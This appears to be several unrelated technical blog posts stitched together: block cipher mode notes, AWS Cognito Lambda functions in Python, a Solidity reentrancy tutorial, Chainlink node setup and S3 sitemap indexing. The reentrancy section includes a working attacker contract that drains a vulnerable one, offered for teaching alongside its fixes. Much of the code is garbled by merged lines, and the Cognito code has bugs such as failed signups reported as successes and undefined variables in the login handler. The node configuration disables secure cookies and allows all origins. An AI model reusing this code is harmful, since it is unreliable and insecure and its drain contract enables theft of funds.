If you need both, message integrity and encryption, you can combine two algorithms: usually we see CBC with HMAC, but no reason to tie yourself to CBC. The important thing to know is encrypt first, then MAC the encrypted content, not the other way around. Also, the IV needs to be part of the MAC calculation.

I am not aware of IP issues.

Now to the good stuff from Professor Rogaway:

Block ciphers modes, encryption but not message integrity

ECB: A blockcipher, the mode enciphers messages that are a multiple of n bits by separately enciphering each n-bit piece. The security properties are weak, the method leaking equality of blocks across both block positions and time. Of considerable legacy value, and of value as a building block for other schemes, but the mode does not achieve any generally desirable security goal in its own right and must be used with considerable caution; ECB should not be regarded as a “general-purpose” confidentiality mode.

CBC: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. Confidentiality is not achieved if the IV is merely a nonce, nor if it is a nonce enciphered under the same key used by the scheme, as the standard incorrectly suggests to do. Ciphertexts are highly malleable. No chosen ciphertext attack (CCA) security. Confidentiality is forfeit in the presence of a correct-padding oracle for many padding methods. Encryption inefficient from being inherently serial. Widely used, the mode’s privacy-only security properties result in frequent misuse. Can be used as a building block for CBC-MAC algorithms. I can identify no important advantages over CTR mode.

CFB: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. Confidentiality is not achieved if the IV is predictable, nor if it is made by a nonce enciphered under the same key used by the scheme, as the standard incorrectly suggests to do. Ciphertexts are malleable. No CCA-security. Encryption inefficient from being inherently serial. Scheme depends on a parameter s, 1 ≤ s ≤ n, typically s = 1 or s = 8. Inefficient for needing one blockcipher call to process only s bits . The mode achieves an interesting “self-synchronization” property; insertion or deletion of any number of s-bit characters into the ciphertext only temporarily disrupts correct decryption.

OFB: An IV-based encryption scheme, the mode is secure as a probabilistic encryption scheme, achieving indistinguishability from random bits, assuming a random IV. Confidentiality is not achieved if the IV is a nonce, although a fixed sequence of IVs (eg, a counter) does work fine. Ciphertexts are highly malleable. No CCA security. Encryption and decryption inefficient from being inherently serial. Natively encrypts strings of any bit length (no padding needed). I can identify no important advantages over CTR mode.

CTR: An IV-based encryption scheme, the mode achieves indistinguishability from random bits assuming a nonce IV. As a secure nonce-based scheme, the mode can also be used as a probabilistic encryption scheme, with a random IV. Complete failure of privacy if a nonce gets reused on encryption or decryption. The parallelizability of the mode often makes it faster, in some settings much faster, than other confidentiality modes. An important building block for authenticated-encryption schemes. Overall, usually the best and most modern way to achieve privacy-only encryption.

XTS: An IV-based encryption scheme, the mode works by applying a tweakable blockcipher (secure as a strong-PRP) to each n-bit chunk. For messages with lengths not divisible by n, the last two blocks are treated specially. The only allowed use of the mode is for encrypting data on a block-structured storage device. The narrow width of the underlying PRP and the poor treatment of fractional final blocks are problems. More efficient but less desirable than a (wide-block) PRP-secure blockcipher would be.

MACs (message integrity but not encryption)

ALG1–6: A collection of MACs, all of them based on the CBC-MAC. Too many schemes. Some are provably secure as VIL PRFs, some as FIL PRFs, and some have no provable security. Some of the schemes admit damaging attacks. Some of the modes are dated. Key-separation is inadequately attended to for the modes that have it. Should not be adopted en masse, but selectively choosing the “best” schemes is possible. It would also be fine to adopt none of these modes, in favor of CMAC. Some of the ISO 9797–1 MACs are widely standardized and used, especially in banking. A revised version of the standard (ISO/IEC FDIS 9797–1:2010) will soon be released [93].

CMAC: A MAC based on the CBC-MAC, the mode is provably secure (up to the birthday bound) as a (VIL) PRF (assuming the underlying blockcipher is a good PRP). Essentially minimal overhead for a CBCMAC-based scheme. Inherently serial nature a problem in some application domains, and use with a 64-bit blockcipher would necessitate occasional re-keying. Cleaner than the ISO 9797–1 collection of MACs.

HMAC: A MAC based on a cryptographic hash function rather than a blockcipher (although most cryptographic hash functions are themselves based on blockciphers). Mechanism enjoys strong provable-security bounds, albeit not from preferred assumptions. Multiple closely-related variants in the literature complicate gaining an understanding of what is known. No damaging attacks have ever been suggested. Widely standardized and used.

GMAC: A nonce-based MAC that is a special case of GCM. Inherits many of the good and bad characteristics of GCM. But nonce-requirement is unnecessary for a MAC, and here it buys little benefit. Practical attacks if tags are truncated to ≤ 64 bits and extent of decryption is not monitored and curtailed. Complete failure on nonce-reuse. Use is implicit anyway if GCM is adopted. Not recommended for separate standardization.

authenticated encryption (both encryption and message integrity)

CCM: A nonce-based AEAD scheme that combines CTR mode encryption and the raw CBC-MAC. Inherently serial, limiting speed in some contexts. Provably secure, with good bounds, assuming the underlying blockcipher is a good PRP. Ungainly construction that demonstrably does the job. Simpler to implement than GCM. Can be used as a nonce-based MAC. Widely standardized and used.

GCM: A nonce-based AEAD scheme that combines CTR mode encryption and a GF(2128)-based universal hash function. Good efficiency characteristics for some implementation environments. Good provably-secure results assuming minimal tag truncation. Attacks and poor provable-security bounds in the presence of substantial tag truncation. Can be used as a nonce-based MAC, which is then called GMAC. Questionable choice to allow nonces other than 96-bits. Recommend restricting nonces to 96-bits and tags to at least 96 bits. Widely standardized and used.

AWS cognito with Python.

Introduction

The login page is the first thing that most web application users encounter. Account creation is the gateway through which all new application users pass through before they can use a web application. This means that authentication (account creation, login, and user data management) is a critical component for most web applications.

Cognito is designed for a variety of application use cases. Cognito can be used for client-side authentication of mobile devices, client-side web applications (using JavaScript), and for server-side authentication (the application that is discussed in this article). The Cognito infrastructure can even provide web pages for various authentication tasks.

Cognito User Pools

Cognito can support one more “user pool”. Each “pool” contains the login and user information for a group of users. Production and test user pools can be created so that application testing does not impact the Cognito production user information.

Cognito also provides a user interface that allows the management of users within a particular pool. This user interface is available via the AWS console login, which can be protected with two-factor authentication.

Cognito Authentication Support

The AWS Cognito service provides support for a wide range of authentication features, For example, Cognito can support two-factor authentication for high-security applications and OAuth, which allows an application to authenticate using an OAuth provider like Google, Facebook, or Twitter.

Cognito supports the steps needed to securely create an application account. This includes sending a temporary password to the user’s email and temporary authentication using this password, which allows the user to create a permanent password.

Cognito also supports password reset for an existing account in the case where a user has forgotten their password. Cognito will email the user a code, which can be used to create a new password or can also send a code to the registered mobile number. There are two ways, in which the codes can be sent. You can use the default Cognito messaging or can integrate with SNS/SES.

The diagram below illustrates the web page flow for new accounts and forgotten passwords. In this demonstration application, the Spring code supports the control flow via Spring controller objects.

Lets me first walk you through the steps needed to create a user pool on AWS Cognito.

1. Go to the Amazon Cognito console. You might be prompted for your AWS credentials.

2. Choose Manage your User Pools.

3. In the top-right corner of the page, choose to Create a User Pool.

4. Provide a name for your user pool, and choose Review Defaults to save the name.

5. On the Attributes page, choose Email address or phone number and Allow email addresses.

1. At the bottom of the page, choose Next Step to save the attribute.

2. On the navigation bar on the left side of the page, choose Review.

3. At the bottom of the Review page, choose Create pool.

For this tutorial, I have chosen the first option U***sername, *which means that users can choose their unique usernames and sign up with them.

Note down you pool-id

Next is to create app-client-id.

1. On the navigation bar on the left side of the page, choose App clients under General settings.

2. Choose to Add an app client.

3. Give your app a name.

4. Check to generate client secret, it will be required in our lambda functions, and check server-based authentication (ADMIN_NO_SRP_AUTH).

1. Choose to Create app client.

2. Note the App client ID and APP Client Secret.

Now, Our AWS Cognito user pool is created and we now need to create lambda functions to interact with it.

Lambda function: Signup

When a user needs to sign in, he/she has to decide on their primary email id and a password of at least 8 characters long. The lambda function will handle new user registration.

import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import jsonUSER_POOL_ID = ''
CLIENT_ID = ''
CLIENT_SECRET = ''def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode('utf-8'), 
        msg = str(msg).encode('utf-8'), digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):    for field in ["username", "email", "password", "name"]:
        if not event.get(field):
            return {"error": False, "success": True, 'message': f"{field} is not present", "data": None}
    username = event['username']
    email = event["email"]
    password = event['password']
    name = event["name"]    client = boto3.client('cognito-idp')    try:
        resp = client.sign_up(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            Password=password, 
            UserAttributes=[
            {
                'Name': "name",
                'Value': name
            },
            {
                'Name': "email",
                'Value': email
            }
            ],
            ValidationData=[
                {
                'Name': "email",
                'Value': email
            },
            {
                'Name': "custom:username",
                'Value': username
            }])
    
    
    except client.exceptions.UsernameExistsException as e:
        return {"error": False, 
               "success": True, 
               "message": "This username already exists", 
               "data": None}    except client.exceptions.InvalidPasswordException as e:
        
        return {"error": False, 
               "success": True, 
               "message": "Password should have Caps,\
                          Special chars, Numbers", 
               "data": None}    except client.exceptions.UserLambdaValidationException as e:
        return {"error": False, 
               "success": True, 
               "message": "Email already exists", 
               "data": None}
    
    except Exception as e:
        return {"error": False, 
                "success": True, 
                "message": str(e), 
               "data": None}
    
    return {"error": False, 
            "success": True, 
            "message": "Please confirm your signup, \
                        check Email for validation code", 
            "data": None}

*Note: this exception (UserLambdaValidationException) will be raised by another pre-sign up lambda function which will check if the same email exists in cognito or not. I will explain this in another post.

Lambda: Confirm Sign up

If a user is a new registration, She/He will be asked to verify her/his email id through a verification code sent on her/his registered email id.

import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = '<your user pool id>'
CLIENT_ID = '<your client id>'
CLIENT_SECRET ='<your client secret>'def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode('utf-8'), 
        msg = str(msg).encode('utf-8'), digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client('cognito-idp')    try:
        username = event['username']
        password = event['password']
        code = event['code']        response = client.confirm_sign_up(
        ClientId=CLIENT_ID,
        SecretHash=get_secret_hash(username),
        Username=username,
        ConfirmationCode=code,
        ForceAliasCreation=False,       )
    except client.exceptions.UserNotFoundException:
        #return {"error": True, "success": False, "message": "Username doesnt exists"}
        return event    except client.exceptions.CodeMismatchException:
        return {"error": True, "success": False, "message": "Invalid Verification code"}
        
    except client.exceptions.NotAuthorizedException:
        return {"error": True, "success": False, "message": "User is already confirmed"}
    
    except Exception as e:
        return {"error": True, "success": False, "message": f"Unknown error {e.__str__()} "}
      
    return event

Lambda: Resend Verification code

The verification is valid only for 24 hours, Let’s say the user missed that window to confirm her/his registration, then he can request the verification code again from Cognito.

import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = '<your user pool id>'
CLIENT_ID = '<your client id>'
CLIENT_SECRET ='<your client secret>'def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode('utf-8'), 
        msg = str(msg).encode('utf-8'),
        digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client('cognito-idp')    try:
        username = event['username']        response = client.resend_confirmation_code(
        ClientId=CLIENT_ID,
        SecretHash=get_secret_hash(username),
        Username=username,
    )
    except client.exceptions.UserNotFoundException:
        return {"error": True, "success": False, "message":   "Username doesnt exists"}
        
    except client.exceptions.InvalidParameterException:
        return {"error": True, "success": False, "message": "User is already confirmed"}
    
    except Exception as e:
        return {"error": True, "success": False, "message": f"Unknown error {e.__str__()} "}
      
    return  {"error": False, "success": True}

Lambda: Forgot Password

Lambda function to send an email to the user, in case he forgets her/his password. Invocation of this lambda function will send a verification code to the email/phone number.

import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = '<your user pool id>'
CLIENT_ID = '<your client id>'
CLIENT_SECRET ='<your client secret>'
def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(
          str(CLIENT_SECRET).encode('utf-8'), 
          msg = str(msg).encode('utf-8'),
          digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client('cognito-idp')    try:
        username = event['username']        response = client.forgot_password(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            
        )    except client.exceptions.UserNotFoundException:
        return {"error": True, 
                "data": None, 
                "success": False, 
                "message": "Username doesnt exists"}
        
    except client.exceptions.InvalidParameterException:
        return {"error": True, 
                "success": False,
                "data": None, 
              "message": f"User <{username}> is not confirmed yet"}
    
    except client.exceptions.CodeMismatchException:
        return {"error": True, 
                "success": False, 
                "data": None, 
                "message": "Invalid Verification code"}
        
    except client.exceptions.NotAuthorizedException:
        return {"error": True, 
                "success": False,
                "data": None, 
                "message": "User is already confirmed"}
    
    except Exception as e:
        return {"error": True, 
                "success": False, 
                "data": None, 
                "message": f"Uknown    error {e.__str__()} "}
     
    return {
         "error": False, 
         "success": True, 
         "message": f"Please check your Registered email id for validation code",  
         "data": None}

Lambda: Confirm forgot password

After the user receives a code on her/his email or phone number, a different lambda function needs invocation, to check the authenticity of the validation code. If the verification code is correct, the User password will be replaced with the new password.

import json
import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import uuidUSER_POOL_ID = '<your user pool id>'
CLIENT_ID = '<your client id>'
CLIENT_SECRET ='<your client secret>'def get_secret_hash(username):
    msg = username + CLIENT_ID
    dig = hmac.new(str(CLIENT_SECRET).encode('utf-8'), 
        msg = str(msg).encode('utf-8'),   digestmod=hashlib.sha256).digest()
    d2 = base64.b64encode(dig).decode()
    return d2def lambda_handler(event, context):
    client = boto3.client('cognito-idp')    try:
        username = event['username']
        password = event['password']
        code = event['code']        client.confirm_forgot_password(
            ClientId=CLIENT_ID,
            SecretHash=get_secret_hash(username),
            Username=username,
            ConfirmationCode=code,
            Password=password,
           )
    except client.exceptions.UserNotFoundException as e:
        return {"error": True, 
                "success": False,
                "data":  None,
                "message": "Username doesnt exists"}
        except client.exceptions.CodeMismatchException as e:
        return {"error": True, 
               "success": False,
               "data": None,
               "message": "Invalid Verification code"}
        
    except client.exceptions.NotAuthorizedException as e:
        return {"error": True, 
                 "success": False, 
                 "data": None, 
                 "message": "User is already confirmed"}
    
    except Exception as e:
        return {"error": True, 
                "success": False,
                "data": None,
                "message": f"Unknown error {e.__str__()} "}
      
    return {"error": False, 
            "success": True, 
            "message": f"Password has been changed successfully",
            "data": None}

You can check which all users are currently signed up with your app, and which all users are in confirmed or unconfirmed state on cognito console.

The last bit is to provide a login for the users who have successfully completed their registration process.

import boto3
import botocore.exceptions
import hmac
import hashlib
import base64
import jsonUSER_POOL_ID = ''
CLIENT_ID = ''
CLIENT_SECRET = ''def get_secret_hash(username):
  msg = username + CLIENT_ID 
  dig = hmac.new(str(CLIENT_SECRET).encode('utf-8'),
  msg = str(msg).encode('utf-8'), digestmod=hashlib.sha256).digest()
  d2 = base64.b64encode(dig).decode()
  return d2def initiate_auth(client, username, password):
  secret_hash = get_secret_hash(username)
    try:
      resp = client.admin_initiate_auth(
                 UserPoolId=USER_POOL_ID,
                 ClientId=CLIENT_ID,
                 AuthFlow='ADMIN_NO_SRP_AUTH',
                 AuthParameters={
                     'USERNAME': username,
                     'SECRET_HASH': secret_hash,
                     'PASSWORD': password,
                  },
                ClientMetadata={
                  'username': username,
                  'password': password,              })    except client.exceptions.NotAuthorizedException:
        return None, "The username or password is incorrect"
    except client.exceptions.UserNotConfirmedException:
        return None, "User is not confirmed"
    except Exception as e:
        return None, e.__str__()
  return resp, Nonedef lambda_handler(event, context):
   client = boto3.client('cognito-idp')
   for field in ["username", "password"]:
     if event.get(field) is None:
       return  {"error": True, 
                "success": False, 
                "message": f"{field} is required", 
                "data": None}
   resp, msg = initiate_auth(client, username, password)
   if msg != None:
      return {'message': msg, 
              "error": True, "success": False, "data": None}   if resp.get("AuthenticationResult"):
      return {'message': "success", 
               "error": False, 
               "success": True, 
               "data": {
               "id_token": resp["AuthenticationResult"]["IdToken"],
      "refresh_token": resp["AuthenticationResult"]["RefreshToken"],
      "access_token": resp["AuthenticationResult"]["AccessToken"],
      "expires_in": resp["AuthenticationResult"]["ExpiresIn"]
      "token_type": resp["AuthenticationResult"]["TokenType"]
            }}
    else: #this code block is relevant only when MFA is enabled
        return {"error": True, 
           "success": False, 
           "data": None, "message": None}

In the next part, we will explore linking these lambda functions with API Gateway to access signup functionalities and also the use of access tokens to secure our other application APIs. Cheers!

Solidity supports three ways of transferring ether between wallets and smart contracts. These supported methods of transferring ether are send(), transfer() and call.value(). The methods differ by how much gas they pass to the transfer for executing other methods (in case the recipient is a smart contract), and by how they handle exceptions. send() and call().value() will merely return false upon failure but transfer() will throw an exception which will also revert state to what it was before the function call. These methods are summarized below

Therefore, your send() function should always be inside the require statement, to inform you about the failed execution.

In case of transfer(), you get to know that your transaction is unsuccessful right at the execution attempt.

Lastly, in case of call(), it still returns false in case an error occurs, that is why keep the usage of require() in mind. The principal difference from the two previous functions is an opportunity to set gas limit via .call{value: _amount, gas: gasValue}(“”) . It is necessary in case the payable function of the contract receiving ether performs a complex logic, that requires plenty of gas.

A contract can have at most one receive function, declared using receive() external payable { ... } (without the function keyword). This function cannot have arguments, cannot return anything and must have external visibility and payable state mutability. It is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.

In the worst case, the fallback function can only rely on 2300 gas being available (for example when send or transfer is used), leaving little room to perform other operations except basic logging. The following operations will consume more gas than the 2300 gas stipend:

• Writing to storage

• Creating a contract

• Calling an external function which consumes a large amount of gas

• Sending Ether

But in recent years, It has become a norm to use call() function to transfer ether rather than transfer and send because of the following reason: Any smart contract that uses transfer() or send() is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.

Read more here:https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/

This whole background was necessary to understand the reentrancy attack. Let us consider the following contract:

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.10;contract EtherRentrancy {
    
    mapping (address => uint256) public balances;
    address public owner;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function deposit() public payable{
        balances[msg.sender] += msg.value;
    }
    
    
    function withdraw(uint _amount) public {
        require (balances[msg.sender] >= _amount, "Insufficient funds");
        
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send funds");
        
        balances[msg.sender] -= _amount;
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
        
    }
    
}

In this contract, any valid Ethereum address can deposit ether through the deposit function and can withdraw their ether with the withdraw function.

This is the contract we will use to drain all the funds from the above contract.

contract HelloBreaksLoose{
    EtherRentrancy etherrentrancy;
    
    constructor(address _etherrentrancy) public {
        etherrentrancy = EtherRentrancy(_etherrentrancy);
    }    receive() external payable {
        if (etherrentrancy.getBalance() >= 1 ether){
            etherrentrancy.withdraw(1 ether);
            
        }
    }    function attack() external payable{
        require(msg.value >= 1 ether);
        etherrentrancy.deposit{value: msg.value}();
        etherrentrancy.withdraw(1 ether);
        
        
    }
    function getBalance() public view returns(uint){
        return address(this).balance;
        
    }}

The contract should be deployed with the address of the EtherRentrancy contract.

Following are the execution steps when call function attack() of this contract:

Step1: attack(),

Step2: deposit() with 1 ether on EtherRentrancy contract;

Step3: withdraw() function of EtherRentrancy contract;

Step4: withdraw() function, in turn, will call the receive function of HelloBreaksLoose;

Step5: receive function will again call the withdraw() function;

The last two steps — Step 3 and Step4 — will run in a loop until EtherRentrancy has a balance of less than 1 ether.

There are two ways to stop this attack:

1. Change the withdraw function: update your state variable before you make any external calls from your contract.

   function withdraw(uint _amount) public {
           require (balances[msg.sender] >= _amount, "Insufficient f unds");
          //Now, update to state variable balances is happening before        // the call, the attacker wouldnt be able to withdraw
          // funds more than he/she deposited. Subsequent calls into 
          //this function will fail as the depositor will not have 
           // funds.        balances[msg.sender] -= _amount;
           (bool sent, ) = msg.sender.call{value: _amount}("");
           require(sent, "Failed to send funds");
           
           
       }
   

2. Using a modifier blockRentrancy: the idea is to lock the contract while any function of the contract is being executed, so only a single function in the contract can be executed at a time.

bool internal locked; //only contract can change this variablemodifier blockRentrancy {    require(!locked, "Contract is locked");
    locked = true;
     _;
     locked = false; //set locked = false after completion of      
                     // function execution}//Use this modifier in contract functions
function withdraw(uint _amount) public blockRentrancy{ .....}

Step 2: Install postgresSQL on your server. Refer to the steps here

Step 3: Create a new database and an admin user on this database

ubuntu@ip-172-31-4-16:$ sudo -u postgres psql
psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1))
Type "help" for help.postgres=# create database fantomProduction;
postgres=# create user myuser with encrypted password 'myPassword';
postgres=# grant all privileges on database fantomProduction to myuser;

Step 4: Make a new directory on your machine. mkdir ~/.chainlink-fantom You can change “fantom” by to the network of your choice.

Step 5: You will need a RPC endpoint for the blockchain of your choice, The chainlink will sync all the data from this RPC endpoint. You can get a highly available RPC endpoint here .

Step 6: Make a .env file in the above folder and fill out the details, For chainid of different chains, visit here. For LINK_CONTRACT_ADDRESS for the network of your choice, visit here. Use the credentials for postgres db made above.

ROOT=/chainlink
LOG_LEVEL=debug
ETH_CHAIN_ID=250
MIN_OUTGOING_CONFIRMATIONS=2
LINK_CONTRACT_ADDRESS=0x6F43FF82CCA38001B6699a8AC47A2d0E66939407
CHAINLINK_TLS_PORT=0
SECURE_COOKIES=false
GAS_UPDATER_ENABLED=true
ALLOW_ORIGINS=*
ETH_URL=wss://speedy-nodes-nyc.moralis.io/bnfb238ggf446efcbnw87tivyc/fantom/mainnet/ws
DATABASE_URL=postgresql://myuser:myPassword@localhost:5432/fantomProduction?sslmode=disable

Step 7: Download the chainlink docker image locally.

docker pull smartcontract/chainlink:1.0.0

More versions of chainlink docker images are available here:

Step 8: Run the chainlink container by using this command. Note: Replace “fantom” with the network you have chosen in the Step 4.

cd ~/.chainlink-fantom && docker run -p 6688:6688 -v ~/.chainlink-fantom:/chainlink -it --network host --env-file=.env smartcontract/chainlink:1.0.0 local n

The first time running the image, it will ask you for a password and confirmation. This will be your wallet password that you can use to unlock the keystore file generated for you. Then, you’ll be prompted to enter an API Email and Password. This will be used to expose the API for the GUI interface, and will be used every time you log into your node. When running the node again, you can supply the -p option with a path to a text file containing the wallet key password, and a -a option, pointing to a text file containing the API email and password. Instructions on how to do that are here.

Step 9: Make sure your server port 6688 is publicly available. You can access your chainlink node at your_ip:6688. Sign-in with your email and password.

Step 10: Once you are logged in, Navigate to the keys section and at the bottom you will find your node account address. Please fund this address with the native blockchain token (For example, FTM for FTM blockchain or ETH for Ethereum blockchain). This balance will be used to pay for the transaction fee when you node will submit data to your chainlink client deployed on the blockchain. Whenever your transactions are stuck, check this balance.

Note: This account addresses has to be whitelisted from the operator contract so that your node can start receiving jobs from operator contract.

In the next part, I will try to explain how to deploy your own chainlink client, chainlink operator. If you want to request data from external world, then you will also have to deploy a node which can receive jobs from your chainlink node and submits response to it, which then will be posted on-chain by your chainlink node.

Problem Statement: Any public post or a public question/query on amafans is posted on IPFS — A decentralized content storage platform. Rendering from IPFS could be slow so we also post all the content on the s3 bucket also. The front-end of amafans runs on NextJs and we tried doing SSR but posts being too long in some cases were making our servers slow.

Consequently, We are rendering content from s3 links on the client side. This decision made our SEO very difficult because SEO Bots weren't indexing our public s3 links. This begs an important question — How do you enable SEO of the content that you have hosted in your s3 bucket?

Part 1: Sitemap.xml with s3 links

Step 1: Create a CloudFront distribution for your s3 bucket. Please follow the steps mentioned here. https://hackernoon.com/creating-an-amazon-cloudfront-distribution-a-step-by-step-guide-t52e3yz3

Step 2: Create a new subdomain on your domain provider and add Cloudfront distribution CNAME on it — In our case we used storage.ama.fans. Check if you can access your s3 files from the sub-domain. If you are facing a Forbidden error, Try adding an alternate domain name to your CloudFront distribution.

For example, We are serving CloudFront distribution from storage.ama.fans domain. We added storage.ama.fans as an alternate domain name on our CDF distribution. Please double-check the SSL certificates also.

Step 3: Upload a sitemap.xml in your s3 bucket with all the links which you would like to index by SEO bots. Here is a simple sitemap.xml file with two links present on the s3 bucket.

<?xml version="1.0" encoding="UTF-8"?>
   <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
     <url>
       <loc>
https://storage.ama.fans/Qma5Hji73bi1mvk1sE6YYbJDFUakqhH95tBsq2XTBw86zG
       </loc>
    </url>
    <url>
       <loc>
https://storage.ama.fans/QmagiQwDZ4Zji7gjLS9dJM85XQiDgf8qJad4oQEEeegBPC
       </loc>
    </url>
</urlset>

Step 4: Try fetching this sitemap.xml file from your subdomain mentioned in step2. You should see a properly rendered XML file with all the links you had added.

If you are continuously facing this error on your browser while accessing your XML, Try using any online XML formatted.

Step 5: Log in to your Google search console, If you don't know what google search console is, Visit here: https://search.google.com/search-console/about

Add your subdomain property on the google search console. Once it is approved, go to sitemaps on the left-hand navigation bar and add /sitemap.xml. Within seconds, Google will add your sitemap and the links present in it. Step 6: This is all good if you have a fixed number of files present on the s3 bucket. In our case, This is not the case, Our users have been writing posts and have been doing “Ask me anything” sessions on ama.fans generating lots of new s3 files. These new files aren't being indexed as they are not present in the sitemap.xml we just uploaded. We need a new “dynamic” mechanism to add new files to our sitemap.xml. Part 2: Adding new s3 files to sitemap.xml on the fly. Step 1: Create a lambda function that will ingest new “Put” events on the s3 bucket and add new files to the sitemap.xml. import json import urllib.parse import boto3 import xml.etree.ElementTree as ET s3 = boto3.client('s3') KEY_NAME = "sitemap.xml" BUCKET_NAME="Your s3 bucket name" DOMAIN_NAME = "Your Subdomain name" def lambda_handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'], encoding='utf-8') print (f"Here is the key name {key}") local_file_name = f'/tmp/{KEY_NAME}' obj = s3.get_object(Bucket=BUCKET_NAME, Key=KEY_NAME) root = ET.fromstring(obj['Body'].read().decode('utf-8')) url_tag = ET.Element("url") loc_tag = ET.Element("loc") loc_tag.text = f"{DOMAIN_NAME}{key}" url_tag.append(loc_tag) root.append(url_tag) with open(local_file_name,'wb') as outfile: outfile.write(ET.tostring(root)) with open(local_file_name, "rb") as f: s3.upload_fileobj(f, BUCKET_NAME, KEY_NAME) return basically, this function gets the “Key” name from the s3 put event, adds your subdomain name from step2 as a prefix, and adds a new entry to the XML, and uploads the updated version to the sitemap.xml. Step 2: S3 triggers: S3 buckets provides an awesome functionality of triggers. A trigger is an event that gets generated every time a. new object is POST/PUT/DELETE on the s3 bucket. Our aim is to execute the lambda function in step1 whenever a new object is added to our s3 bucket. Go to your s3 bucket and click on the properties tab on the top. Scroll down till you see the “Event notifications” section and click on it. You will see three sections: General configuration, Event types, and Destination. Let me explain them one by one. We only want to listen to Put and Post events on our s3 bucket which are sufficient for our use case. This tells the destination to trigger only when the file name has “Qm” as its prefix which is true for all the IPFS hashes. Here we are adding our lambda function as the trigger destination. Once it is done, every time a new file with Prefix “Qm” is added to the s3 bucket, the Lambda function will update sitemap.xml with the new filename. Step 3: One last thing, If you want your sitemap to be updated immediately you will have to make some changes. CloudFront serves a file from an edge location until the cache duration that you specified passes — that is until the file expires. After it expires, the next time the edge location gets a user request for the file, CloudFront forwards the request to the origin server to verify that the cache contains the latest version of the file. You can use the Cache-Control and Expires headers to control how long objects stay in the cache. Settings for Minimum TTL, Default TTL, and Maximum TTL also affect cache duration, but here's an overview of how headers can affect cache duration: The Cache-Control max-age directive lets you specify how long (in seconds) you want an object to remain in the cache before CloudFront gets the object again from the origin server. The minimum expiration time CloudFront supports is 0 seconds. The maximum value is 100 years. Specify the value in the following format: Cache-Control: max-age=seconds For example, the following directive tells CloudFront to keep the associated object in the cache for 3600 seconds (one hour): Cache-Control: max-age=3600 If you want objects to stay in CloudFront edge caches for a different duration than they stay in browser caches, you can use the Cache-Control max-age and Cache-Control s-maxage directives together. For more information, see Specifying the amount of time that CloudFront caches objects. The Expires header field lets you specify an expiration date and time using the format specified in RFC 2616, Hypertext Transfer Protocol -- HTTP/1.1 Section 3.3.1, Full Date, for example:Sat, 27 Jun 2015 23:59:59 GMT you can set these headers on sitemap.xml file present in the s3 bucket. Links to help you: A sample IAM role to get/put objects on an s3 bucket. You can use it with your lambda function in Step1, Part 2. { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:PutObject", "s3:PutObjectAcl", "s3:GetObject", "s3:GetObjectAcl", "s3:AbortMultipartUpload" ], "Resource": [ "arn:aws:s3:::YOUR_BUCKET", "arn:aws:s3:::YOUR_BUCKET/*" ] } ] }